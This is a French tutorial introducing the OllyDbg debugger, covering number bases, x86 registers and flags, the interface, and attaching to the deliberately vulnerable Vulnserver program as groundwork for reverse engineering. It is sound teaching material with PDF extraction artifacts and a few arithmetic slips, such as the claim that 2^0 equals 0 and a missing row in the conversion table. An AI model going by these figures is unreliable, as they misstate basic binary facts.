Ollydbg v1.10
Introduction...........................................................................................4
Les Outils nécessaires ...........................................................................4
Le programme Test ...........................................................................4
Les Scripts en Perl.............................................................................5
Le désassembleur OllyDbg ...............................................................6
Un peu de Binaire & autres...................................................................7
Système de numération .....................................................................7
La base Décimale :........................................................................7
La base Binaire :............................................................................8
La base Octale :...........................................................................10
La base Hexadécimale : ..............................................................10
Les conversions entre bases numérales...............................................13
Décimale Binaire .......................................................................13
L’ASCII & Unicode :......................................................................13
Binaire Décimale .......................................................................15
Binaire Hexadécimale................................................................15
Du Hardware au Software en X86 ......................................................17
La mémoire .....................................................................................17
Le processeur ..................................................................................17
Les registres généraux.................................................................17
Les registres de segments............................................................18
Les registres d'offset....................................................................19
Le registre Eflag..........................................................................19
Démarrage du débogueur ....................................................................20
Visite guidée....................................................................................21
Description des principaux icones : ................................................21
Ouverture et connexion à l'application cible de débogage..............24
Cosmétique ! ...................................................................................27
La vue CPU d’OllyDbg...................................................................32
Tour sur le langage Assembleur X86..................................................34
L'assembleur ASM..........................................................................35
Les transferts de données : ..........................................................36
Les instructions arithmétiques : ..................................................36
Les instructions de comparaison :...............................................37
Les instructions de rupture de séquences :..................................37
Les sauts conditionnels : .............................................................38
Syntaxe et autres trucs ennuyeux ................................................38
Registres et drapeaux ..................................................................41
La pile..........................................................................................43
Instructions de l’Assembleur...........................................................44
JMP (Jump : Saut).......................................................................45
CALL (Appel).............................................................................47
POP .............................................................................................48
PUSH...........................................................................................49
RETN (Return – Renvois)...........................................................49
INT3 ............................................................................................50
NOP (No Operation) ...................................................................50
Méthode/Guide d'exécution de code dans Ollydbg.............................52
Step in, Step over (Allez dans, Passer dessus)................................52
D'où je viens ? Révéler l’historique ................................................55
Animation........................................................................................56
Définition de points d'arrêt..............................................................56
Exécuter le code ..............................................................................59
Débogage exceptionnel ...................................................................61
Exécutez le traçage pour trouver la cause d'une exception.............64
La chaîne SEH.................................................................................69
Recherche de commandes...............................................................76
Travailler dans l’image mémoire ....................................................87
Différentes vues de l’image mémoire .........................................87
Suivi en Map Mémoire................................................................90
Copie des données de l’image mémoire......................................92
Modification du code, de la mémoire et des registres.....................94
Aide au calcul des différences d'adresse relative ..........................103
Les Plugins (Utilitaires additionels)..............................................104
Introduction
Définition dans Wikipédia : OllyDbg est un débogueur 32-bits (une
version 64-bits existe) gratuit, créé par Oleh Yuschuk à la fin de
l'année 2000, pour le système d'exploitation Windows de Microsoft.
Ce logiciel ne peut analyser et déboguer que les programmes 32-bits
répondant à la norme PE (Portable Executable).
Nous utiliserons la version 1.10 d'OllyDbg ici, mais la majorité des
techniques discutées devraient également être applicables à d'autres
versions d'OllyDbg, y compris la version 2, qui, il faut le savoir
comporte quelques bugs.
Ce tutoriel va essayer de fournir une référence à ceux qui veulent
apprendre à utiliser le débogueur OllyDbg. Il est destiné à construire
une base de compétences pour faire de l’ingénierie inverse.
Aucune connaissance préalable sur les débogueurs n'est requise pour
suivre ce tutoriel, mais des notions à minima de l’Hexadécimale, des
Bytes et autres fondements de bases de l’informatique sont un plus.
Les Outils nécessaires
Ce didacticiel utilise le programme Vulnserver délibérément
vulnérable comme cible de débogage. Vous pouvez en obtenir une
copie à partir du lien suivant et extraire l'archive sur votre disque dur
afin de suivre les étapes de ce didacticiel. Lorsque vous exécutez ce
programme, assurez-vous que votre pare-feu autorise le trafic
nécessaire, mais assurez-vous de ne pas autoriser l'accès à partir de
réseaux non fiables comme Internet. Lisez les détails fournis sur la
page de téléchargement pour plus d'informations.
Le programme Test
Téléchargez Vulnserver à partir d'ici ou sur le site :
http://grey-corner.blogspot.com/2010/12/introducing-vulnserver.html
Les Scripts en Perl
De plus, vous devez également installer Perl sur votre système, car ce
guide utilisera un certain nombre de scripts Perl afin de déclencher
certaines actions dans le débogueur.
Padre-perl-ide est une distribution Perl gratuite que vous pouvez
utiliser à cette fin. Elle peut être téléchargé ici.
Une fois le Zip
déployé sur votre PC
lancez l’exécutable :
Lors du 1
er
lancement,
le pare-feu Windows
demandera une
autorisation d’accès :
Une fois l’installation terminé dans une fenêtre PowerShell ou cmd
faites le test avec la commande ‘perl -v’ :
PowerShell :
Commande DOS :
Toutes les commandes de ce didacticiel faisant référence aux scripts
Perl seront fournies sous l'hypothèse qu'elles sont exécutées à partir du
même système qui exécute OllyDbg. Vous pouvez exécuter les scripts
à partir d'un autre emplacement si vous le souhaitez, mais vous devrez
modifier certaines des options de ligne de commande en conséquence.
Le désassembleur OllyDbg
Vous aurez aussi évidemment besoin d'une copie du débogueur
OllyDbg, version 1.10.
Il peut être téléchargé ici.
Un peu de Binaire & autres
Système de numération
En informatique et en électronique numérique, on emploie plusieurs
formes de numération.
Les quatre bases les plus employées sont les suivantes :
La base Décimale.
La base Binaire.
La base Octale,
La base Hexadécimale.
La base Décimale :
Depuis la nuit des temps, l'homme a eu besoin de compter et de
calculer. Selon les civilisations, divers systèmes de numération ont été
mis en place puis abandonnés. A l'heure actuelle, nous utilisons le
système de numération décimal. L’idée de ce système réside dans le
fait que nous possédons dix doigts, l’écriture décimale nécessite donc
l’existence de 10 chiffres qui sont 0, 1, 2, 3, 4, 5, 6, 7, 8, et 9.
Lorsque nous écrivons un nombre en mettant certains de ces chiffres
les uns derrière les autres, l’ordre dans lequel nous mettons les chiffres
est capital. Ainsi par exemple, 4678 n’est pas du tout le même nombre
que 8647. Et pourquoi ? Quelle opération, quel décodage mental
effectuons nous lorsque nous lisons une suite de chiffres représentant
un nombre ?
Le problème est que nous sommes tellement habitués à faire ce
décodage de façon instinctive que généralement nous n’en
connaissons plus les règles.
Mais ce n’est pas très compliqué de les reconstituer. Considérons par
exemple le nombre 4687. Il est composé des chiffres des milliers (4),
des centaines (6), des dizaines (8), et des unités (7).
On peut donc écrire : 4687 = 4000 + 600 + 80 + 7
Ou bien encore : 4687 = 4 × 1000 + 6 × 100 + 8 × 10 + 7
D’une manière légèrement différente, même si cela paraît un peu
bébête : 4687 = (4 × 1000) + (6 × 100) + (8 × 10) + 7
Arrivé à ce stade de la compétition, les matheux notent la ligne ci-
dessus à l’aide du symbole de puissance (10
n
).
Cela donne : 4687 = (4 × 10
3
) + (6 x 10
2
) + (8 x 10
1
) + (7 x 10
0
)
En rappel, tout nombre élevé à la puissance 0 est égal à 1.
Et voilà, nous y sommes. Un nombre peut donc être décomposé sous
la forme de la somme de chacun des chiffres qui le composent,
multipliés par la dimension de la base à l'exposant de leur rang.
Cette méthode n'est pas valable uniquement pour les nombres
décimaux.
La base Binaire :
Un ordinateur n'ayant pas de doigts, compter en base décimale ne lui
est pas particulièrement adapté. Elle est bonne !!! non … Pffff !
La base 2, plus connue sous le nom de la base binaire, l'est par contre
beaucoup plus. Pour des raisons technologiques, l’ordinateur ne peut
traiter qu’une information codée sous forme binaire. Le courant
électrique passe ou ne passe pas, qu’on peut interpréter en ‘0’ ou ‘1’.
Dans la réalité physique il n’y a pas de 0 de 1 qui se balade au cœur de
l’ordinateur. Le choix du 0 et de 1 est une pure convention, une image
commode, que l’on utilise pour parler de toute information binaire, et
on aurait pu choisir n’importe quelle paire de symboles à leur place,
quelque chose qui ne peut avoir que de états : par exemple, ouvert ou
fermé, vrai ou faux, militaire ou civil, libre ou occupé…
En base 2, tout nombre s’écrit à l’aide des deux chiffres 0 et 1, appelés
bits (BInary digiT).
C'est la plus petite unité d'information manipulable par une machine
numérique. Or un bit n'est pas suffisant pour coder toutes les
informations que l'on souhaitera manipuler.
On va donc employer des groupements de plusieurs bits.
Un groupe de 4 bits s’appelle un quartet (Nibble en anglais).
Un groupe de 6 bits s’appelle un hexet.
Un groupe de 8 bits s’appelle un octet (Byte).
Un groupe de 16 bits, soit deux octets, est appelé un mot (Word).
Un groupe de 32 bits, soit deux mots, est appelé un double mot (Dword).
Un groupe de 64 bits, soit deux doubles mots, est appelé un (Qword).
Notez l'utilisation d'un B majuscule pour différencier Byte et bit.
Il existe des unités de manipulation pour les très grandes valeurs.
Rapporté aux micro-ordinateurs actuels, ça nous donne :
Un kilo-octet (Ko) = 1000 octets.
Un Mégaoctet (Mo) = 1000 Ko = 1000000 octets.
Un Gigaoctet (Go) = 1000 Mo = 1000000000 octets.
Un Téraoctet (To) = 1000 Go = 1000000000000 octets.
Les bits sont généralement regroupés par 4 ou 8 bits. Dans la
représentation binaire, on distingue les deux bits d’extrémité d’un
nombre :
Le bit de poids fort (Most Significant Bit, ou MSB) est le bit,
dans une représentation binaire donnée, ayant la plus grande
valeur, celui le plus à gauche. Exactement comme dans le
nombre 189, c'est le chiffre le plus à gauche qui a le plus de
poids, la valeur la plus forte.
Le bit de poids faible (Least Significant Bit, ou LSB) est pour un
nombre binaire le bit ayant dans une représentation donnée la
moindre valeur, celui le plus à droite. Exactement comme
dans le nombre 189, c'est le chiffre le plus à droite qui a le moins
de poids, la valeur la plus faible.
De même, si l’on découpe un nombre en deux, le premier paquet à
gauche est appelé paquet de poids fort, le second paquet à droite est
appelé paquet de poids faible.
Ainsi un mot est composé de 2 octets :
1 octet de poids fort (MSB)
1 octet de poids faible (LSB)
Si on fait un schéma de ce qu’on vient de dire, on se retrouve avec ce
qui suit :
Les opérations arithmétiques simples telles que l'addition, la
soustraction, la division et la multiplication sont facile à effectuer en
binaire.
La base Octale :
« Compter en octal, c’est comme compter en décimal, si on n’utilise
pas ses pouces » - Tom Lehrer.
Comme vous le devinez sûrement, tous comme on peut dire que le
binaire constitue un système de codage en base 2, le décimal un
système de base 10, vous l’aurez compris l’octal est un système de
base 8.
Ce système utilise 8 symboles : 0, 1, 2, 3, 4, 5, 6, 7. Il n’est plus guère
employé aujourd’hui, puisqu’il servait au codage des nombres dans les
ordinateurs de première génération. Le système octal a cédé la place
au système hexadécimal. Etant donne que ce système de numération
n’est plus vraiment employé, on ne s’attardera pas d’avantage sur le
sujet !
La base Hexadécimale :
La notation hexadécimale consiste à compter non pas en base 2, 8, ou
10, mais en base 16. Cela nécessite d'avoir 16 chiffres.
En décimale vous comptez comme ça :
0, 1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 11, 12, 13, 14, 15, 16, …
Et bien en hexadécimale on compte de cette manière :
0, 1, 2, 3, 4, 5, 6, 7, 8, 9, A, B, C, D, E, F, 10, 11, 12, …
Pour les dix premiers, on n’a été pas cherché bien loin : on a recyclé
les dix chiffres de la base décimale, là il nous manque encore 6
chiffres, plutôt qu’inventer de nouveaux symboles, on a alors convenu
de les représenter par les premiers lettres de l’alphabet.
Ainsi par convention, A vaut 10, B vaut 11 et ainsi de suite jusqu’à F
qui vaut 15.
La raison pour laquelle l'hexa est utile est que la conversion entre
l'hexa et le binaire est très simple.
Avec l’avancement de la technologie, les nombres binaires sont
devenus de plus en plus longs et rapidement incompréhensibles. Le
système hexadécimal est venu pour freiner l'accroissement en
longueur des nombres binaires, il fournit une façon beaucoup plus
compacte pour représenter le binaire, vous le voyez l’hexadécimal
comporte de nombreux avantages, on peut représenter 16 valeurs avec
seulement 1 chiffre, alors qu’il en faut 2 pour la décimal, et 4 pour le
binaire.
Voyons voir cela de plus près, avec 4 bits, nous pouvons coder :
2 × 2 × 2 × 2 = 2
4
= 16 nombres différents.
En base seize, 16 nombres différents se représentent avec un seul
chiffre, de même qu’en base 10, dix nombres se représentent avec un
seul chiffre.
Afin d'éviter tout risque d'erreur entre bases, il est recommandé
d'écrire un :
"b" à la fin d'un nombre binaire (/101b).
"d" à la fin d'un nombre décimal (/157d).
"o" à la fin d'un nombre octal (/571o).
"h" à la fin d'un nombre hexadécimal, toujours en minuscules,
afin de ne pas confondre avec les "chiffres" hexadécimaux B et
D (/A5Bh).
Par exemple : 11011b = 27d = 33o =1Bh
Veuillez noter que je précède toutes les valeurs d'opcode dans ce
tutoriel avec «\x» pour les désigner comme hexadécimales.
Et enfin, la numération binaire, comme les autres systèmes de
numération, n’oblige pas la représentation des valeurs nulles ou
inutiles, par exemple :
Le nombre 220d = 11011100b est représentable sur 8 bits.
Le nombre 16d = 00010000b est représentable sur 5 bits, ce qui donne
réellement en omettant les zéro inutiles 10000b.
Le tableau ci-dessous montre l’équivalence de représentation de
nombre allant de 0 à 23 :
Bin.
Oct.
Hex.
0
0
0
1
1
1
10
2
2
11
3
3
100
4
4
101
5
5
110
6
6
111
7
7
1000
10
8
1001
11
9
1010
12
A
1011
13
B
1100
14
C
1101
15
D
1110
16
E
1111
17
F
10000
20
10
10001
21
11
10010
22
12
10011
23
13
10100
24
14
10101
25
15
10111
26
16
11000
27
17
Les conversions entre bases numérales
Décimale Binaire
Prenons un nombre au hasard : 13d = 1101b.
Ben, comment le 13 devient-il 1101 ?
Alors c'est un petit peu comme si l'ordinateur rangeait treize
boules dans une boite, une boite avec des colonnes, dans la première
colonne, on peut mettre qu'une seule boule, dans la deuxième : deux
boules, dans la troisième : 4 boules, dans la quatrième : 8 boules.
Attention l'ordinateur commence toujours par la plus grande colonne
et il ne fait que des colonnes pleines.
Chaque fois qu'on a une colonne pleine c'est un 1.
Chaque fois qu'on a une colonne vide c'est un 0.
Voyons ce que ça donne avec 13 boules :
La colonne de 8 pas de problème, on peut la remplir, ça donne
un 1, il nous reste cinq boules.
La colonne de 4 on peut la remplir, c'est un 1, il nous reste une
boule.
La colonne de 2 on ne peut pas la remplir, c'est un 0.
La colonne de 1 on peut la remplir c'est un 1.
Donc, le nombre 13d correspond à l’information binaire 1101b. Si on
fait l’addition décimale 8 + 4 + 1 ça fait bien 13.
L’ASCII & Unicode :
Jusqu’à présent, nous avons vu différents moyens de codage de
nombres. Mais il est nécessaire de savoir également comment coder
des caractères alphanumériques. Par exemple lors de leur entrée à
partir d’un clavier. La mémoire de l'ordinateur conserve toutes les
données sous forme numérique. Il n'existe pas de méthode pour
stocker directement les caractères.
Dans les années 60, le code ASCII (American Standard Code for
Information Interchange), qui est actuellement le plus connue et le
plus largement compatible, est adopté comme standard, chaque
caractère possède donc son équivalent en code numérique, par
exemple la lettre ‘M’correspond au nombre 77d. Un nouveau code,
plus complet, qui supplante l'ASCII est l'Unicode.
Une des différences clés entre les deux codes est que l'ASCII utilise
un octet pour encoder un caractère alors que l'Unicode en utilise deux
(ou un mot - Word).
Par exemple :
l'ASCII fait correspondre l'octet 41h (65d) au caractère majuscule ‘A
l'Unicode y fait correspondre le mot 0041h.
Comme l'ASCII n'utilise qu'un octet, il est limité à 256 caractères
différents au maximum.
L'Unicode étend les valeurs ASCII à des mots et permet de
représenter beaucoup plus de caractères. C'est important afin de
représenter les caractères de tous les langages du monde.
Mais comment tu fais pour faire 77 !! Regarde bien ton boulier, il n'a
que (8 + 4 + 2 + 1) ça fait 15.
Bien cette fois ci, il suffit d'agrandir le boulier et voilà :
Avec 77 boules, on ne peut pas remplir la colonne de 128, c'est
donc un 0.
On remplit en revanche la colonne de 64, c’est un 1, il nous reste
13 boules.
Pas assez pour remplir la colonne de 32, c'est un 0.
Pas assez non plus pour rempli la colonne de 16, c'est un 0.
Assez pour remplir la colonne de 8, c'est un 1, il nous reste 2
boules.
Je remplis la colonne de 4, là c’est un 1.
Pas assez pour remplir la colonne de 2, c'est un 0.
Et comme j’ai plus qu’une seule boule, je remplis la dernière
colonne, c’est un 1.
On ne valide que les «1» donc : 64 + 8 + 4 + 1 = 77 en décimal.
Donc, la lettre ‘M’correspond à l’information binaire 01001101b.
Il existe une autre méthode classique pour transformer un nombre du
système décimal dans un autre système, par divisions successives.
La méthode de décomposition par divisions successives consiste à
diviser le nombre plusieurs fois (si nécessaire) dans la base choisie
jusqu'à obtenir un quotient nul.
Tant qu’il s’agit d’une conversion décimale binaire, on divise par
2.
Les restes successifs des divisions, pris dans leur ordre inverse,
forment le nombre désiré.
Reprenons le même exemple. La division entière de 77 par 2 donnes :
Ce qui nous fait remis dans l’ordre : 1 0 0 1 1 0 1
Binaire Décimale
Une fois que le système binaire est bien compris, il est facile de
transposer ses principes pour comprendre le système binaire.
Je rappelle, pour trouver la valeur d’un nombre binaire, il faut, à
l’instar des bits décimaux, multiplier la valeur du bit par la valeur de 2
exposés par la position du bit moins un. Heu …. C’est quoi qui dits !
Alors, puisque le bit peut seulement être 1 ou 0, le calcul revient plus
à une décision d’inclure la valeur ou non dans le nombre binaire qu’à
une multiplication.
Ainsi, pour trouver la valeur d’un nombre binaire vous pouvez utiliser
la méthode suivante :
Soit un nombre binaire :
Avec des puissances de 2 :
D’où 01001101b correspond à :
(0×2
7
)+(1x2
6
)+(0x2
5
)+(0x2
4
)+(1x2
3
)+(1x2
2
)+(0x2
1
)+(1x2
0
) = 77d
En suivant les principes énoncés dans la conversion binaire.
Cependant il ne s'agit plus, de puissances de 2 mais de puissances de
16 puisque la base est 16.
Binaire Hexadécimale
Pour convertir un nombre en hexadécimale, il y’en a deux méthodes
l’une consiste à faire un grand détour, en repassant par la base
décimale. L’autre méthode consiste à faire le voyage direct du binaire
vers l’hexadécimale.
La première méthode :
Prenons un octet au hasard : 1011 1101.
A partir de ce qu’on vient de voir, notre 1011 1101 deviendra :
(1×2
7
)+(0x2
6
)+(1x2
5
)+(1x2
4
)+(1x2
3
)+(1x2
2
)+(0x2
1
)+(1x2
0
) = 189d.
En raccourci, ça nous donne : 2
7
+2
5
+2
4
+2
3
+2
2
=189d. (Avec 2
0
=0)
De là, il faut repartir vers la base hexadécimale.
Décimale Hexadécimale
On utilise la méthode des divisions successives, même principe que
pour le système binaire, sauf que l’on divise par 16.
On note les restes des divisions successives puis on lit ces restes en
remontant.
Exemple : 1981 en décimale,
1981 | 16 = 123 Reste 13 = D (c’est le LSB)
123 | 16 = 7 Reste 11 = B
7 | 16 = 0 Reste 7 = 7 (c’est le MSB)
On y est le nombre s’écrit donc en hexadécimal : 7BDh
Voilà, je pourrais continuer sur les bases et les additions etc… pendant
longtemps, mais heureusement aujourd’hui, sur tous les PC, il y a la
calculatrice, dans Windows elle sait très bien faire ça pour nous, il faut
juste aller dans Affichage Programmeur :
Note : Ici affichage en Octet,
Byte, Dword ou Qword
Décimale (Base 10)
Hexadécimale (Base 16)
Octale (Base 8)
Binaire (Base 2)
Du Hardware au Software en X86
La mémoire
Ce sont des emplacements où sont stockées des données. On peut
accéder à ces emplacements, que ce soit en lecture pour récupérer des
données ou en écriture pour conserver des données, grâce à une
adresse dans un programme.
La pile (ou stack) est une partie particulière de la mémoire. Elle sert
principalement à stocker des données provisoires (résultat
intermédiaire d'un calcul, adresse de retour d'une sous-routine, etc.).
Comme son nom l'indique, on empile des valeurs les unes sur les
autres. Retenez cette notion d'empilage car c'est elle qui fait le
fonctionnement particulier de la pile.
En effet, pour enlever une valeur, il faut d'abord retirer une à une
toutes celles qui sont au-dessus, en commençant par la plus récente.
Ce traitement des données est appelé LIFO (Last In First Out).
Le processeur
C'est lui qui exécute les instructions données par le programme. Pour
ce faire, il possède des mémoires internes qui sont utilisées de manière
spécifique et appelées registres.
On répartit ceux-ci en 4 groupes :
Les registres généraux (ou de travail).
Les registres de segments.
Les registres d'offset (ou pointeurs).
Le registre Eflag (drapeaux ou indicateurs).
Les registres généraux
Ce sont des registres de 32 bits qui servent principalement à stocker
des résultats intermédiaires.
Ils sont au nombre de 4 :
EAX : Registre Accumulateur.
EBX : Registre de base.
ECX : Registre Compteur.
EDX : Registre Données.
Chaque registre peut être utilisé en registres de 16 bits :
AX, BX, CX ou DX
Qui eux-mêmes peuvent être divisés en 2 registres de 8 bits :
AH et AL, BH et BL, CH et CL, DH et DL.
On parle alors de la partie haute (H pour hight) ou de la partie basse
(L pour low) du registre, exemple avec EAX :
EAX (32 bits)
AX (16 bits)
AH (8 bits)
AL (8 bits)
Les registres de segments
Pour savoir où retrouver des données, on a besoin d'une adresse.
Celle-ci sera composée de 2 parties : le segment et l'offset.
Les segments sont au nombre de 6 et permettent de savoir dans quelle
zone de la mémoire il faut aller chercher :
CS (Code Segment) : Indique l'adresse de début de code.
SS (Stack Segment) : Adresse de la pile.
DS (Data Segment) : Adresse des données du programme.
ES (Extra Segment) : Segment supplémentaire.
FS (extra Segment) : Segment supplémentaire.
GS (extra Segment) : Segment supplémentaire.
Les registres d'offset
C'est la deuxième partie de l'adresse, celle qui nous indique
précisément l'emplacement dans le segment concerné de ce que nous
cherchons. Il y en a 5 :
ESI (Extended Source Index) : Utilisé lors de manipulation de
suite d'octets, associé à DS.
EDI (Extended Destination Index) : Utilisé lors de manipulation
de suite d'octets, associé à DS ou ES.
EBP (Extended Base Pointer) : Pointe sur une adresse dans la
pile, associé à SS.
ESP (Extended Stack Pointer) : Contient le déplacement
nécessaire pour atteindre le sommet de la pile.
EIP (Extended Instruction Pointer) : Indique la prochaine
instruction qui va être exécutée, associé à CS.
Le registre Eflag
C'est un registre dont chaque bit donne une indication au processeur,
chaque bit ne pouvant avoir qu'une valeur : 0 ou 1.
Ceux qui nous intéressent plus particulièrement sont :
CF (Carry Flag) : Positionné à 1 si la dernière opération a généré
une retenue (mode non signé), sinon à 0.
PF (Parity Flag): Positionné à 1 si dans les 8 bits de poids faible
du résultat de la dernière opération, le nombre de bits à 1 est
pair, à 0 si ce nombre est impair.
AF (Auxiliary carry Flag) : Positionné à 1 si la dernière
opération a généré une retenue du bit numéro 3 vers le bit
numéro 4, à 0 sinon.
ZF (Zero Flag) : Positionné à 1 si les deux opérandes utilisés
sont égaux, sinon positionné à 0. Son nom vient de la différence
nulle entre les deux opérandes.
SF (Sign Flag) : Positionné à 1 si la dernière opération a généré
un résultat négatif, à 0 s'il est positif ou nul.
DF (Direction Flag) : Positionné à 1 si le transfert de données se
fait en décrémentant les offsets, à 0 sinon (incrémentation des
offsets).
OF (Overflow Flag) : Positionné à 1 si le dernier résultat a
débordé de la taille du registre, sinon à 0.
Tout cela peut paraître compliqué quand on débute, mais avec la
pratique ces notions deviendront rapidement évidentes.
Démarrage du débogueur
Pour démarrer OllyDbg sur Windows double-cliquez
simplement sur l'exécutable ou le raccourci OllyDbg, comme
vous le feriez pour n'importe quelle autre application. Assurez-
vous de l'exécuter en utilisant l'option « Exécuter en tant
qu’administrateur », disponible lorsque vous cliquez avec le
bouton droit sur l'exécutable ou le raccourci. Si vous
n'exécutez pas le programme avec des privilèges
d'administration, vous ne pourrez pas effectuer correctement
vos tâches de débogage.
Lors de la première ouverture d’OllyDbg cette fenêtre s’ouvre,
faire oui pour réinitialiser la librairie.
La Version installée : v1.10
Visite guidée
Nous allons tout d’abord faire le tour des différents éléments que
composent OllyDbg.
En haut on retrouve la barre des Menus ainsi qu’une barre d’outils
spécifiques :
On notera que par défaut aucuns plugins n’est présent. Les plugins
sont des programmes complémentaires souvent utile au debugge.
Description des principaux icones :
(F3) sert à ouvrir un fichier à désassembler.
(Ctrl+F2) sert à recharger le dernier programme ouvert (s'il est
en cours d'exécution, il se ferme puis se recharge).
(Alt+F2) sert à arrêter le programme en cours d'exécution.
(F9) sert à exécuter le programme (au cas où il est en pause sur
un BP - Break Point - par exemple).
(F11) N’exécute que le programme (API) en cours d’édition.
(F12) sert à mettre le programme en pause (chez moi le
programme plante lorsque je clique dessus).
(F7) sert à rentrer dans une fonction lors de l'exécution en pas à
pas (Step Into).
(F8) sert à exécuter les fonctions sans rentrer dedans en pas à pas
(Step Over).
(Ctrl+F11) Trace dans (Trace Into).
(Ctrl+F12) Trace sur (Trace Over).
(Ctrl+F9) Sert à exécuter le programme jusqu'à ce qu'il y ait
une instruction RET (pratique pour sortir d'une fonction).
(Alt+F9) Sert à exécuter le programme jusqu'à ce qu'il y ait un
code utilisateur (spécifique).
Sert à se positionner à une certaine adresse dans le programme.
Sert à afficher les chaînes de caractères trouvées lors de l'analyse
du programme. Il faut toutefois faire un clic droit : Search forAll
referenced text strings avant de pouvoir voir quoique ce soit.
En bas de l’éditeur la dernière ligne indique des informations
complémentaires comme, une erreur qui s'est produite, le nombre de
fonctions trouvées lors de l'analyse, ...
En fin, indique l'état du programme (Paused, Running, Terminated) :
Ouverture et connexion à l'application cible de débogage
Il existe plusieurs moyens d'ouvrir un programme dans l’éditeur :
OllyDbg n’est pas ouvert, en déplaçant sur le bureau, en faisant
un glisser-déposer, le fichier à analyser sur l’icône d’OllyDbg.
OllyDbg est ouvert, en ouvrant l'exécutable cible à partir du
disque à l'aide de l'option de menu File Open (Fichier,
Ouvrir), en fin,
En attachant à un programme déjà en cours d'exécution en
utilisant l'option de menu File Attach (Attacher).
Quelle est la différence entre les deux dernières méthodes ?
En choisissant d'ouvrir le programme directement à partir du
disque, vous pouvez contrôler l'exécution du programme dès
le début, tandis que lorsque vous vous connectez à un
programme déjà en cours d'exécution, vous ne pouvez prendre
le contrôle qu'à partir du moment où vous effectuez l'opération
d’attachement.
En général, si j'ai le choix, j'ouvre généralement les
exécutables au lieu de les attacher à leurs processus en cours
d'exécution, car cela me permet de capturer toutes les
opérations du programme et de le redémarrer facilement
depuis l'interface du débogueur. Parfois, cependant, cela peut
ne pas être une option pratique, comme dans les cas où vous
essayez d'exploiter un exécutable, exécuté en tant que service
Windows, et dans ce cas, l'attachement peut fonctionner
suffisamment bien. Sachez simplement que si vous le faites,
vous ne pourrez peut-être pas redémarrer le programme à
partir du débogueur - vous devrez peut-être utiliser quelque
chose comme le panneau de configuration des services si
l'exécutable s'exécute en tant que service.
Vous pouvez également constater que dans certains cas, les
programmes n'aiment pas être « attachés » pendant leur
exécution, il est donc sage d'effectuer des tests pour vous
assurer que le programme fonctionne normalement après avoir
essayé. Pour ce faire, vous devez laisser le programme
s'exécuter et confirmer qu'il se comporte toujours comme il le
fait habituellement après avoir été « attaché » au débogueur.
Maintenant, ouvrez OllyDbg, si vous ne l'avez pas déjà fait, et
essayez d'utiliser l'option de menu File Open pour ouvrir
vulnserver.exe à partir de l'endroit où il est stocké sur votre
disque dur.
Vous devriez voir quelque chose comme ce qui suit.
Lancement de OllyDbg :
Ouverture de vulnserver.exe avec File Open :
Une fenêtre de commande s’ouvre, rien ne s’affiche dedans,
c’est normal, le programme est en Pause (voir en bas à droite
de l’éditeur).
Dans l’éditeur, le code apparait dans une première fenêtre,
pour l’ouvrir en grand on clique sur le bouton Agrandir.
Que voyons-nous ? En fait l’éditeur se compose de 5 zones :
1
1
4
1
2
1
5
1
3
1. La zone du désassembleur (Le code ASM).
2. La zone, de haut en bas, des Registres, des flags, de la pile et du
processeur arithmétique.
3. Rappel de l’état des opérandes (Paramètres utilisés par une
instruction)
4. La zone de Dump ou code binaire dans la mémoire.
5. La zone de la Pile (Stack).
Cosmétique !
Tout d’abord on va changer l’aspect de la fenêtre de désassembleur
afin d’afficher et de marquer le code de façon à ce qu’il soit plus
lisible. (Oui, je suis un peu miro).
Avec la souris se mettre sur la zone de désassemblage puis clic droit,
sur Appearance Font System fixed font :
Idem mais avec Appearance Highlighting Christmas tree :
(Joyeux Noël Felix !).
Ce qui donne maintenant un code un peu plus coloré :
En « A » on trouve les adresses des instructions (En mémoire pas dans
le programme).
En « B » le Dump des Opcodes.
En « C » le Code désassemblé (Mnémonique ASM), la flèche en
rouge indique le sens de lecture sauf en cas de saut et retour.
En « D » ce sont les APIs utilisées dans ce programme et les
commentaires éventuels.
En « E » c’est l’état des opérandes.
Dans le cadran Registres on peut voir les Registres et Flags :
B
A
C
D
E
Le cadran du bas à gauche nous montre le code binaire :
Et le dernier cadran l’état de la Pile :
Utilisez maintenant l'option de menu Debug Close pour fermer
cette session de débogage et cliquez sur Oui si le message
d'avertissement « Processus still active » apparaît.
Cela signifie essentiellement que vous êtes sur le point de mettre fin à
un processus actif - et dans ce cas, c'est exactement ce que nous
voulons faire !
Vous pouvez désactiver cet avertissement sous l'option de menu
Options Debugging options.
En sélectionnant l'onglet Sécurité et en décochant l'option
Avertir lors de la fin du processus actif.
Je vous recommande fortement de le faire, car cet avertissement peut
devenir fastidieux très rapidement.
Maintenant, accédez à l'emplacement sur le disque où vulnserver.exe
est stocké à l'aide de l'Explorateur Windows et double-cliquez dessus
pour l'exécuter. La fenêtre de commande s’ouvre avec le message
d’attente.
Revenez maintenant à OllyDbg et sélectionnez l'option du Menu
File Attach :
Une liste des processus en cours d'exécution apparaîtra.
Sélectionnez vulnserver dans la liste (cela pourrait vous aider à le
trouver si vous triez d'abord la liste par nom) et appuyez sur le bouton
Attacher.
Vous devriez maintenant voir ce qui suit.
Utilisez à présent l'option de menu Debug Close pour fermer la
session de débogage.
Si vous comparez les deux méthodes de création de la session de
débogage en vérifiant le coin inférieur gauche de l'écran dans le
débogueur, vous remarquerez que « l'ouverture » du programme
semble entrer dans le programme au « point d'entrée du programme » :
Et, en effectuant un « attachement » on entre en ayant le « programme
attaché suspendu à ntdll.DbgBreakpoint ».
Nous pouvons voir ici qu'il y a une différence dans la façon dont la
session commence.
Dans les deux cas, le programme a été automatiquement mise en
pause « Paused » après le démarrage de la session de débogage (voir
la notation dans le coin inférieur droit).
Nous reviendrons plus en détail sur ce que cela signifie réellement
plus tard dans ce tutoriel.
La vue CPU d’OllyDbg
Utilisez l'option de menu File Open pour ouvrir vulnserver.exe.
Vous devriez maintenant être accueilli par la vue CPU OllyDbg, qui
est la vue OllyDbg par défaut et celle dans laquelle nous passerons la
majorité de notre temps.
Le volet dans le coin supérieur gauche de l'écran affiche les
instructions réelles du programme que nous sommes sur le point
d'exécuter. Je ferai référence à cela comme instruction CPU ou volet
de désassemblage (car il montre les instructions désassemblées de leur
format binaire).
De gauche à droite, les colonnes de ce volet affichent :
L’adresse mémoire de chaque instruction.
La représentation hexadécimale de chaque octet qui comprend
cette instruction (ou si vous préférez, l’opcode de cette
instruction).
L’instruction elle-même en langage assembleur X86, affichée
(par défaut) dans la syntaxe MASM.
Et enfin une colonne d'information / commentaire qui affiche les
valeurs de chaîne, les noms de fonction de niveau supérieur, les
commentaires définis par l'utilisateur, etc.
Je vais approfondir ce qu'est ce truc d'assemblage et comment
